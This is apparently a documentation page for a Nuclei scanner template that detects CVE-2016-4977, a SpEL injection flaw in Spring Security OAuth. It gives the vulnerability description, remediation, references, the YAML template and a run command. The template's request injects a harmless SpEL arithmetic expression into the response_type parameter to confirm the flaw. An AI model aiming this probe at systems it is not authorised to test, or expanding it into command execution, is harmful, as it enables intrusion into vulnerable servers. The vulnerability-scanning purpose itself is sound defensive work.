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Spring Security OAuth2 Remote Command Execution

ID: CVE-2016-4977

Severity: high

Author: princechaddha

Tags: cve2016,cve,oauth2,oauth,rce,ssti,vulhub,spring,pivotal

Description

Section titled “Description”

Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.

YAML Source

Section titled “YAML Source”
id: CVE-2016-4977


info:
  name: Spring Security OAuth2 Remote Command Execution
  author: princechaddha
  severity: high
  description: Spring Security OAuth versions 2.0.0 to 2.0.9 and 1.0.0 to 1.0.5 contain a remote command execution vulnerability. When processing authorization requests using the whitelabel views, the response_type parameter value was executed as Spring SpEL which enabled a malicious user to trigger remote command execution via the crafting of the value for response_type.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
  remediation: Users of 1.0.x should not use whitelabel views for approval and error pages. Users of 2.0.x should either not use whitelabel views for approval and error pages or upgrade to 2.0.10 or later.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.md
    - https://tanzu.vmware.com/security/cve-2016-4977
    - https://nvd.nist.gov/vuln/detail/CVE-2016-4977
    - https://pivotal.io/security/cve-2016-4977
    - http://www.openwall.com/lists/oss-security/2019/10/16/1
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-4977
    cwe-id: CWE-19
    epss-score: 0.04558
    epss-percentile: 0.92501
    cpe: cpe:2.3:a:pivotal:spring_security_oauth:1.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: pivotal
    product: spring_security_oauth
  tags: cve2016,cve,oauth2,oauth,rce,ssti,vulhub,spring,pivotal


http:
  - method: GET
    path:
      - "{{BaseURL}}/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Unsupported response types: [978015547]"


      - type: status
        status:
          - 400
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2016/CVE-2016-4977.yaml"

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